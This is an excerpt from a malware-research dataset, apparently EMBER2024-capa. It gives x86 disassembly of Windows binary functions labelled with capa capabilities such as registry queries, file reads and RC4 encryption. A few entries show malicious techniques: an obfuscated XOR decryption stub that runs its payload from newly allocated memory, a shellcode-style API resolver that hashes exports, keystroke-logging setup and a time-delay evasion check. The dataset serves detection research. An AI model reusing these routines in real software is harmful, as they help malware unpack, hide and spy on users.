joyce8/EMBER2024-capa huggingface dataset:
Function at 0x515660
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push dword [ebp + 0xc]
call fcn.00517a90
mov esi, dword [ebp + 0x18]
mov edi, eax
push esi
mov dword [ebp - 8], edi
xor ebx, ebx
call dword [0x5df050]
add esp, 8
test edi, edi
je 0x515789
test eax, eax
je 0x515789
inc eax
push eax
call fcn.005180d2
mov edx, eax
mov dword [ebp - 0x10], eax
add esp, 4
sub edx, esi
mov cl, byte [esi]
lea esi, [esi + 1]
mov byte [edx + esi - 1], cl
test cl, cl
jne 0x5156a6
push 0x5c
push eax
call fcn.00519380
mov edi, eax
add esp, 8
test edi, edi
je 0x5156c7
mov byte [edi], bl
inc edi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x51577a
push 0x400
mov dword [ebp - 4], 0x400
mov dword [ebp - 8], 1
call fcn.005180d2
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x515748
cmp eax, 0xea
jne 0x515768
push esi
call fcn.005180db
push dword [ebp - 4]
call fcn.005180d2
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x515715
mov eax, dword [ebp - 8]
cmp eax, 1
je 0x515755
cmp eax, 2
jne 0x515768
push esi
call dword [0x5df050]
push eax
push esi
call fcn.005177e0
add esp, 0xc
mov ebx, eax
push esi
call fcn.005180db
add esp, 4
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x10]
call fcn.005180db
add esp, 4
test ebx, ebx
jne 0x5157ae
cmp dword [ebp + 0x2c], 0
je 0x5157ae
mov esi, dword [ebp + 0x24]
test esi, esi
je 0x5157ae
push esi
call dword [0x5df050]
push eax
push esi
call fcn.005177e0
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x515990
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push 0
push 0x20
push 3
push 0
push 3
push SysReAllocString
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x5159fc
push esi
push edi
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [esi + 8]
push ecx
call fcn.00510bd0
add esp, 4
mov edi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
lea ecx, [edi + 8]
mov dword [edi], 1
push ecx
push ebx
mov dword [edi + 4], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x515c90
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x515cdd
push esi
call fcn.00517ce0
add esp, 4
test eax, eax
je 0x515cdd
mov eax, dword [esi]
or ecx, 0xffffffff
cmp eax, 1
je 0x515cc9
cmp eax, 3
je 0x515cc9
cmp eax, 2
jne 0x515cd8
mov ecx, dword [esi + 4]
call fcn.00517d10
mov ecx, eax
pop esi
pop ebp
ret
lea eax, [ebp + 0x14]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov eax, ecx
pop esi
pop ebp
ret
or eax, 0xffffffff
pop esi
pop ebp
ret

Function at 0x515cf0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x515e4e
push edi
call fcn.00517ce0
add esp, 4
test eax, eax
je 0x515e4e
mov eax, dword [ebp + 0x18]
test eax, eax
jle 0x515e4e
mov ecx, dword [edi]
push ebx
xor ebx, ebx
push esi
cmp ecx, 1
jne 0x515d7b
mov esi, dword [edi + 4]
push eax
call fcn.005180d2
add esp, 4
mov edi, eax
lea eax, [ebp - 4]
push ebx
push eax
mov eax, dword [ebp + 0x18]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x515d5e
push edi
call fcn.005180db
add esp, 4
xor eax, eax
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
push edi
call fcn.005177a0
push edi
mov ebx, eax
call fcn.005180db
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
cmp ecx, 2
jne 0x515dcb
mov esi, dword [edi + 4]
add eax, 8
push eax
call fcn.00510bd0
mov ebx, eax
add esp, 4
mov eax, dword [ebp + 0x18]
mov ecx, esi
mov dword [ebx + 4], eax
mov dword [ebx], 1
mov edx, dword [esi]
push eax
lea eax, [ebx + 8]
push eax
call dword [edx + 0x20]
test eax, eax
jne 0x515dbf
push ebx
call fcn.00510c40
add esp, 4
xor eax, eax
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
mov dword [ebx + 4], eax
mov eax, ebx
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
cmp ecx, 3
jne 0x515e45
mov esi, dword [edi + 4]
push eax
call fcn.005180d2
add esp, 4
mov ebx, eax
mov dword [ebp - 0xc], ebx
push 1
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x18]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x515e19
push ebx
call fcn.005180db
add esp, 4
xor eax, eax
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
lea eax, [edi + 0x10]
push eax
push dword [edi + 0xc]
lea eax, [edi + 0x34]
push eax
push esi
push ebx
push dword [ebp - 8]
call fcn.00516ac0
push esi
push ebx
call fcn.005177a0
push dword [ebp - 0xc]
mov ebx, eax
call fcn.005180db
add esp, 0x24
pop esi
mov eax, ebx
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x516a40
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
push edi
xor edi, edi
mov bh, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
cmp dword [ebp + 0xc], edi
jle 0x516aa9
push esi
nop dword [eax]
inc bh
movzx esi, bh
mov bl, byte [esi + eax]
add dl, bl
mov byte [ebp + 0x13], dl
movzx edx, dl
movzx ecx, byte [edx + eax]
mov byte [esi + eax], cl
mov byte [edx + eax], bl
movzx ecx, byte [esi + eax]
mov edx, dword [ebp + 8]
add cl, bl
movzx ecx, cl
movzx ecx, byte [ecx + eax]
xor byte [edi + edx], cl
inc edi
mov dl, byte [ebp + 0x13]
cmp edi, dword [ebp + 0xc]
jl 0x516a60
pop esi
mov cl, dl
mov byte [eax + 0x100], bh
pop edi
mov byte [eax + 0x101], cl
pop ebx
pop ebp
ret
pop edi
mov byte [eax + 0x100], bh
mov byte [eax + 0x101], dl
pop ebx
pop ebp
ret

Function at 0x516d10
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x5df080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x100
push 0
push eax
mov dword [ebp - 0x108], edi
mov dword [ebp - 0x10c], 0
call fcn.005190f0
mov esi, edi
lea eax, [ebp - 0x104]
mov edi, dword [ebp + 0xc]
add esp, 0xc
xor ebx, ebx
sub esi, eax
nop
mov eax, ebx
lea ecx, [ebp - 0x104]
cdq
add ecx, ebx
idiv dword [ebp + 0x10]
mov byte [esi + ecx], bl
inc ebx
mov al, byte [edx + edi]
mov byte [ecx], al
cmp ebx, 0x100
jl 0x516d60
mov edi, dword [ebp - 0x108]
lea ebx, [ebp - 0x104]
mov esi, edi
mov dword [ebp - 0x108], 0x100
sub ebx, edi
nop dword [eax]
mov dl, byte [esi]
movzx eax, byte [ebx + esi]
add eax, dword [ebp - 0x10c]
movzx ecx, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x516dc1
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [edi + ecx]
mov byte [esi], al
inc esi
sub dword [ebp - 0x108], 1
mov dword [ebp - 0x10c], ecx
mov byte [edi + ecx], dl
jne 0x516da0
mov ecx, dword [ebp - 4]
mov word [edi + 0x100], 0
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00517f5f
mov esp, ebp
pop ebp
ret

Function at 0x5185f0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x51862f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x51862f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x51862f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x51862f
cmp dword [ecx + 0x74], 0xe
jbe 0x51862f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x526586
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x526623
push ebx
push esi
call fcn.0052654f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.005264e3
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x5265d0
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x526622
push edi
push eax
call fcn.00522b84
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x5265f0
call fcn.00522b4a
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x526621
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.005264e3
add esp, 0x20
test eax, eax
jne 0x52660f
push edi
call fcn.00522b4a
jmp 0x526617
push ebx
call fcn.00522b4a
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x5272df
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x531678
push 0x531670
push str.FlsAlloc
push 0x1f
call fcn.005271fb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x527313
push dword [ebp + 8]
mov ecx, esi
call dword [0x52e368]
call esi
jmp 0x527319
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x52735d
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x531688
push 0x531680
push str.FlsGetValue
push 0x21
call fcn.005271fb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x527394
push dword [ebp + 8]
mov ecx, esi
call dword [0x52e368]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x52739c
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x531690
push 0x531688
push str.FlsSetValue
push 0x22
call fcn.005271fb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x5273d6
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x52e368]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x52cff0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x52d01d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x52d01d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1001adab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1001adba
pop dword [ebp - 0x24]
mov eax, 0x4c179063
add eax, 0xc3ea1d57
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x11132e9c
sub dword [ebp - 0x34], 0xc2c0e951
mov dword [ebp - 0x30], 0x712f39ae
sub dword [ebp - 0x30], 0x3efbed69
mov dword [ebp - 0x2c], 0x82928175
sub dword [ebp - 0x2c], 0x36463d47
mov dword [ebp - 0x28], 0x8fc4864
sub dword [ebp - 0x28], 0x8fc4864
lea eax, [ebp - 0x34]
push eax
mov eax, 0x9dc4c55d
add eax, 0x723f8ba7
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x8aadb33f
add dword [ebp - 0x34], 0xe9c4b617
mov dword [ebp - 0x30], 0xf8fea02a
add dword [ebp - 0x30], 0x486dc14b
mov dword [ebp - 0x2c], 0xf333a87d
sub dword [ebp - 0x2c], 0x8fc43c11
mov dword [ebp - 0x28], 0x5bd94679
add dword [ebp - 0x28], 0xa426b987
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xa210fa34
sub eax, 0x920ca97c
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x465ad
push 0
call eax
mov ecx, 0x3816
mov ebx, eax
mov edx, 0x10075000
add edx, dword [ebp - 0x24]
mov edi, 0x8b5bb629
xor dword [ebp - 0xc], eax
mov esi, dword [edx]
xor dword [ebp - 0x10], ebx
xor esi, edi
add dword [ebp - 0x20], 0xce43c2ba
mov dword [ebx], esi
add ebx, 4
add edx, 4
loop 0x1001aeca
add eax, 0xd32b
xor ebx, ebx
add ebx, eax
add eax, 0xa15edb18
sub eax, 0xa15edb13
mov ecx, 0xa1412850
sub ecx, 0x91412850
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x1001e14c
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push esi
mov esi, ecx
test esi, esi
js 0x1001e1e0
jne 0x1001e166
push 0
jmp 0x1001e1da
cmp esi, 0xf
jae 0x1001e1d9
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1001e1d9
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.kernel32.dll_Sleep]
lea eax, [esp + 8]
push eax
call dword [sym.imp.kernel32.dll_QueryPerformanceCounter]
mov ecx, dword [esp + 8]
sub ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
sbb eax, dword [esp + 0x14]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], eax
fild qword [esp + 0x18]
fstp qword [esp + 0x20]
fld qword [esp + 0x20]
fild qword [esp + 0x28]
fstp qword [esp + 0x20]
fdiv qword [esp + 0x20]
fmul qword [0x10065320]
call fcn.1001adab
cmp eax, esi
jb 0x1001e185
jmp 0x1001e1e0
push esi
call dword [sym.imp.kernel32.dll_Sleep]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4061e0
Capabilities:
Terminate thread
Write file on windows

Disassembly:
sub esp, 0x14
push ebx
push edi
xor edi, edi
mov eax, dword [0x445b0c]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, edi
je 0x406260
push esi
push edi
push edi
push 3
push edi
push edi
push 0x40000000
push edi
push 0x445a04
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], 0x1f40
mov dword [esp + 0x3c], edi
call fcn.00406450
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40624d
lea eax, [esp + 0xc]
push edi
push eax
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call ebx
push 0x3e8
mov edx, dword [0x445b0c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop esi
mov eax, dword [0x445b08]
cmp eax, edi
je 0x406281
mov eax, dword [0x445b08]
cmp eax, 0xffffffff
je 0x406281
mov eax, dword [0x445b08]
push eax
call ebx
mov dword [0x445b08], edi
mov eax, dword [0x445b0c]
cmp eax, edi
je 0x4062a9
mov eax, dword [0x445b0c]
cmp eax, 0xffffffff
je 0x4062a9
push 0xffffffffffffffff
mov ecx, dword [0x445b0c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x445b0c], edi
call fcn.004063b0
mov dword [0x445b14], edi
pop edi
pop ebx
add esp, 0x14
ret

Function at 0x401000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
call fcn.00401088
pushal
mov ebp, esp
xor eax, eax
mov edx, dword fs:[eax + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
xor edi, edi
lodsb al, byte [esi]
cmp al, 0x61
jl 0x401025
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x40101e
push edx
push edi
mov edx, dword [edx + 0x10]
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
jecxz 0x401082
add ecx, edx
push ecx
mov ebx, dword [ecx + 0x20]
add ebx, edx
mov ecx, dword [ecx + 0x18]
jecxz 0x401081
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edx
xor edi, edi
lodsb al, byte [esi]
ror edi, 0xd
add edi, eax
cmp al, ah
jne 0x40104f
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
jne 0x401045
pop eax
mov ebx, dword [eax + 0x24]
add ebx, edx
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
add ebx, edx
mov eax, dword [ebx + ecx*4]
add eax, edx
mov dword [esp + 0x24], eax
pop ebx
pop ebx
popal
pop ecx
pop edx
push ecx
jmp eax
pop edi
pop edi
pop edx
mov edx, dword [edx]
jmp 0x401015
Function at 0x408498
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4509f8]
jne 0x4084a2
repz ret
jmp fcn.0040b245
Function at 0x41c202
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
lea ebp, [esp - 0x19c]
sub esp, 0x21c
mov eax, dword [0x4509f8]
xor eax, ebp
mov dword [ebp + 0x198], eax
push esi
push edi
push 0x208
xor edi, edi
lea eax, [ebp - 0x70]
push edi
push eax
call fcn.00408720
add esp, 0xc
lea eax, [ebp - 0x70]
push eax
mov esi, 0x104
push esi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x7c], edi
call dword [sym.imp.kernel32.dll_GetTempPathW]
test eax, eax
jne 0x41c28e
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, edi
jle 0x41c269
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
cmp esi, edi
jl 0x41c274
mov esi, 0x80004005
push esi
push 0x24e
push 0x44437e
call fcn.0043180e
push 0x444362
jmp 0x41c33c
lea eax, [ebp - 0x78]
push eax
push esi
lea eax, [ebp - 0x70]
push eax
call fcn.0041c14a
mov esi, eax
cmp esi, edi
jge 0x41c2ac
push 0x44433c
jmp 0x41c33c
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.kernel32.dll_ProcessIdToSessionId]
test eax, eax
je 0x41c324
push dword [ebp - 0x80]
lea eax, [ebp - 0x74]
push 0x444334
push eax
call fcn.004302dc
mov esi, eax
add esp, 0xc
cmp esi, edi
jge 0x41c2e2
push 0x44430a
jmp 0x41c33c
lea eax, [ebp - 0x7c]
push eax
push SysReAllocString
push dword [ebp - 0x74]
call fcn.0041c14a
mov esi, eax
cmp esi, edi
jge 0x41c300
push 0x4442de
jmp 0x41c33c
push dword [ebp - 0x7c]
mov esi, dword [ebp - 0x78]
push dword [ebp - 0x74]
sub esi, dword [ebp - 0x7c]
push dword [ebp - 0x7c]
lea eax, [ebp + esi*2 - 0x70]
push eax
push edi
push edi
call dword [sym.imp.kernel32.dll_CompareStringW]
cmp eax, 2
jne 0x41c324
mov dword [ebp - 0x78], esi
push dword [ebp - 0x78]
lea eax, [ebp - 0x70]
push eax
push ebx
call main
mov esi, eax
cmp esi, edi
jge 0x41c344
push 0x4442c2
push esi
call fcn.004317fa
pop ecx
pop ecx
cmp dword [ebp - 0x74], edi
je 0x41c351
push dword [ebp - 0x74]
call fcn.0042ee18
mov ecx, dword [ebp + 0x198]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00408498
add ebp, 0x19c
leave
ret
Function at 0x422146
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
lea ebp, [esp - 0x1e0]
sub esp, 0x260
mov eax, dword [0x4509f8]
xor eax, ebp
mov dword [ebp + 0x1dc], eax
push ebx
push esi
mov esi, dword [ebp + 0x1ec]
xor ebx, ebx
push 0x250
lea eax, [ebp - 0x74]
push ebx
push eax
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
call fcn.00408720
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
push 0x4030b4
push dword [ebp + 0x1e8]
call main
test eax, eax
js 0x4221aa
push 7
push dword [ebp - 0x78]
call fcn.00435b68
cmp dword [ebp + 0x1e8], ebx
jne 0x422268
push edi
lea edi, [ebp - 0x78]
mov ecx, esi
call main
pop edi
test eax, eax
js 0x422268
lea eax, [ebp - 0x80]
push eax
push 0x4470ba
push dword [ebp - 0x78]
call main
test eax, eax
js 0x422268
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.kernel32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x422268
test byte [ebp - 0x74], 0x10
jne 0x422252
xor eax, eax
mov word [ebp + 0x1be], ax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.kernel32.dll_lstrlenW]
cmp eax, 2
jbe 0x422236
push 0x2e
add eax, eax
pop ecx
cmp cx, word [ebp + eax - 0x4c]
jne 0x422236
movzx eax, word [ebp + eax - 0x4a]
push 0x52
pop ecx
cmp cx, ax
je 0x422252
push 0x72
pop ecx
cmp cx, ax
je 0x422252
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x78]
call main
test eax, eax
js 0x422252
push dword [ebp - 0x7c]
call main
lea eax, [ebp - 0x74]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindNextFileW]
test eax, eax
jne 0x4221f7
push esi
call dword [sym.imp.kernel32.dll_FindClose]
cmp dword [ebp - 0x7c], ebx
je 0x422275
push dword [ebp - 0x7c]
call fcn.0042ee18
cmp dword [ebp - 0x80], ebx
je 0x422282
push dword [ebp - 0x80]
call fcn.0042ee18
cmp dword [ebp - 0x78], ebx
pop esi
pop ebx
je 0x422291
push dword [ebp - 0x78]
call fcn.0042ee18
mov ecx, dword [ebp + 0x1dc]
xor ecx, ebp
call fcn.00408498
add ebp, 0x1e0
leave
ret 8
Function at 0x42d2ce
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, dword [esp + 0xc]
or dword [esi + 0x3c], 0xffffffff
push edi
xor ebx, ebx
push ebx
push dword [esp + 0x18]
lea eax, [esi + 0x1c]
push eax
call main
mov edi, eax
cmp edi, ebx
jge 0x42d2fb
push 0x44c114
jmp 0x42d3e0
mov edi, dword [sym.imp.kernel32.dll_CreateEventW]
push ebx
push ebx
push 1
push ebx
call edi
mov dword [esi + 0x24], eax
cmp eax, ebx
jne 0x42d345
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, ebx
jle 0x42d323
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
cmp edi, ebx
jl 0x42d32e
mov edi, 0x80004005
push edi
push 0x78
push 0x44bce2
call fcn.0043180e
push 0x44c0ec
jmp 0x42d3e0
push ebx
push ebx
push 1
push ebx
call edi
mov dword [esi + 0x28], eax
cmp eax, ebx
jne 0x42d386
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, ebx
jle 0x42d367
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
cmp edi, ebx
jl 0x42d372
mov edi, 0x80004005
push edi
push 0x7b
push 0x44bce2
call fcn.0043180e
push 0x44c0c0
jmp 0x42d3e0
push ebx
push ebx
push esi
push 0x42d086
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [esi + 0x20], eax
cmp eax, ebx
jne 0x42d3d0
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, ebx
jle 0x42d3b1
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
cmp edi, ebx
jl 0x42d3bc
mov edi, 0x80004005
push edi
push 0x7f
push 0x44bce2
call fcn.0043180e
push 0x44c09c
jmp 0x42d3e0
call main
mov edi, eax
cmp edi, ebx
jge 0x42d3e8
push 0x44c074
push edi
call fcn.004317fa
pop ecx
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
ret 8

Function at 0x430b5c
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, dword [esp + 0xc]
push 0x104
push esi
call fcn.0042ed04
test eax, eax
js 0x430b8e
push dword [esi]
push 0
push 0
push dword [esp + 0x14]
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x430b8e
push esi
call main
pop esi
ret 8